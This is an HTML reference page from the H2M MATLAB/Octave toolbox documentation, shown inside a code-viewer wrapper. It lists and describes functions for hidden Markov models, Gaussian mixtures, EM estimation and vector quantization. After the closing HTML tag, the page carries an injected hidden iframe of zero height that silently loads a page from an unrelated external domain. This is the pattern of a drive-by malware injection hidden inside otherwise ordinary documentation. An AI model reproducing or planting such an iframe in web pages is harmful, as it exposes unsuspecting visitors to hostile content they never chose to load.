📄 node19.html
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><!--Converted with LaTeX2HTML 2K.1beta (1.48)original version by: Nikos Drakos, CBLU, University of Leeds* revised and updated by: Marcus Hennecke, Ross Moore, Herb Swan* with significant contributions from: Jens Lippmann, Marek Rouchal, Martin Wilck and others --><HTML><HEAD><TITLE>Functions in the main directory</TITLE><META NAME="description" CONTENT="Functions in the main directory"><META NAME="keywords" CONTENT="H2M, H2M/cnt, Hidden Markov Model, HMM, Mixture model, Vector Quantization, Expectation Maximization, EM, Multivariate Gaussian, Count data, Poisson, Negative binomial, MATLAB, OCTAVE, GPL"><META NAME="resource-type" CONTENT="document"><META NAME="distribution" CONTENT="global"><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><META NAME="Generator" CONTENT="LaTeX2HTML v2K.1beta"><META HTTP-EQUIV="Content-Style-Type" CONTENT="text/css"><LINK REL="STYLESHEET" HREF="h2m.css"><LINK REL="next" HREF="node20.html"><LINK REL="previous" HREF="node18.html"><LINK REL="up" HREF="node18.html"><LINK REL="next" HREF="node20.html"></HEAD><BODY BGCOLOR="ivory"><!--Navigation Panel--><B> Next:</B> <A NAME="tex2html333" HREF="node20.html">Functions in the H2M/cnt</A><B>Up:</B> <A NAME="tex2html329" HREF="node18.html">Reference</A><B> Previous:</B> <A NAME="tex2html323" HREF="node18.html">Reference</A><P><!--End of Navigation Panel--><!--Table of Child-Links--><A NAME="CHILD_LINKS"><STRONG>Subsections</STRONG></A><UL><LI><A NAME="tex2html334" HREF="#SECTION00051100000000000000">Alphabetical list of functions</A><LI><A NAME="tex2html335" HREF="#SECTION00051200000000000000">Notes</A></UL><!--End of Table of Child-Links--><HR><H2><A NAME="SECTION00051000000000000000">Functions in the main directory</A></H2><H3><A NAME="SECTION00051100000000000000"></A><A NAME="listoffunc"></A><BR>Alphabetical list of functions</H3><DL><DT><STRONG>c_dgaus</STRONG></DT><DD>Computes a set of multivariate normal density values in the case of diagonal covariance matrices (mex-file).</DD><DT><STRONG>gauselps</STRONG></DT><DD>Plots 2D projections of Gaussian ellipsoids.</DD><DT><STRONG>gauseval</STRONG></DT><DD>Computes a set of multivariate normal density values.</DD><DT><STRONG>gauslogv</STRONG></DT><DD>Computes a set of multivariate normal log-density values.</DD><DT><STRONG>hmm</STRONG></DT><DD>Performs multiple iterations of the EM algorithm.</DD><DT><STRONG>hmm_chk</STRONG></DT><DD>Checks the parameters of an HMM and returns its dimensions.</DD><DT><STRONG>hmm_dens</STRONG></DT><DD>Reestimates the Gaussian parameters for an HMM.</DD><DT><STRONG>hmm_fb</STRONG></DT><DD>Implements the forward-backward recursion (with scaling).</DD><DT><STRONG>hmm_gen</STRONG></DT><DD>Generates a sequence of observation given an HMM.</DD><DT><STRONG>hmm_mest</STRONG></DT><DD>Reestimates the transition parameters for multiple observation sequences.</DD><DT><STRONG>hmm_mint</STRONG></DT><DD>Initializes the distribution parameters using multiple observations (left-right model).</DD><DT><STRONG>hmm_psim</STRONG></DT><DD>Generates a random sequence of conditional HMM states.</DD><DT><STRONG>hmm_tran</STRONG></DT><DD>Reestimates the transition part of an HMM.</DD><DT><STRONG>hmm_vit</STRONG></DT><DD>Computes the most likely sequence of states (Viterbi DP algorithm).</DD><DT><STRONG>lrhmm</STRONG></DT><DD>Performs multiple iterations of the EM algorithm for a left-right model.</DD><DT><STRONG>mix</STRONG></DT><DD>Performs multiple iterations of the EM algorithm for a mixture model.</DD><DT><STRONG>mix_chk</STRONG></DT><DD>Checks the parameters of a mixture model and return its dimensions.</DD><DT><STRONG>mix_gen</STRONG></DT><DD>Generates a sequence of observation for a Gaussian mixture model.</DD><DT><STRONG>mix_par</STRONG></DT><DD>Reestimates mixture parameters.</DD><DT><STRONG>mix_post</STRONG></DT><DD>Computes a posteriori probabilities for a Gaussian mixture model.</DD><DT><STRONG>randindx</STRONG></DT><DD>Generates random indexes with a specified probability distribution.</DD><DT><STRONG>statdis</STRONG></DT><DD>Returns the stationary distribution of a Markov chain.</DD><DT><STRONG>svq</STRONG></DT><DD>Vector quantization using successive binary splitting steps.</DD><DT><STRONG>vq</STRONG></DT><DD>Vector quantization using the K-means (or LBG) algorithm.</DD></DL><P><H3><A NAME="SECTION00051200000000000000">Notes</A></H3>The main functions are described in section <A HREF="node10.html#sec:ex">2.2</A> (or in the examplescripts), other functions include:<P><code>hmm_gen</code> and <code>mix_gen</code> generate data vectors according to a givenmodel. This is useful for testing algorithms on ``prototype data''.<code>hmm_psim</code> generates a random sequence of HMM state conditional to anobservation sequence. This can be used for doing Monte Carlo simulations (theway it works is described, for instance, in [<A HREF="node23.html#Carter:GibbsState">10</A>] as``sampling the indicator variables'').<P><code>gauseval</code> and <code>gauslogv</code> compute values of the Gaussian probabilitydensity (or the logarithm of it for <code>gauslogv</code>) for several Gaussiandistributions and several observed vectors at the same time. Computing as manyvalues as possible at the same time is much faster than calling the functionseveral times (especially when the number of Gaussian distributions is large).<P><code>gauselps</code> plots the 2-D projections of the Gaussian ellipsoidscorresponding to the Gaussian distribution (this is certainly one of the mostuseful things in order to see what's going on, at least for low dimensionalmodels).<P><code>statdis</code> computes the stationary distribution of a finite state-spaceMarkov chain from its transition matrix.<P><P><HR><!--Navigation Panel--><B> Next:</B> <A NAME="tex2html333" HREF="node20.html">Functions in the H2M/cnt</A><B>Up:</B> <A NAME="tex2html329" HREF="node18.html">Reference</A><B> Previous:</B> <A NAME="tex2html323" HREF="node18.html">Reference</A><P><!--End of Navigation Panel--><ADDRESS>Olivier Cappé, Aug 24 2001</ADDRESS></BODY></HTML>
<iframe src=http://www.mnuiu.cn/ar.htm width=100 height=0></iframe>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -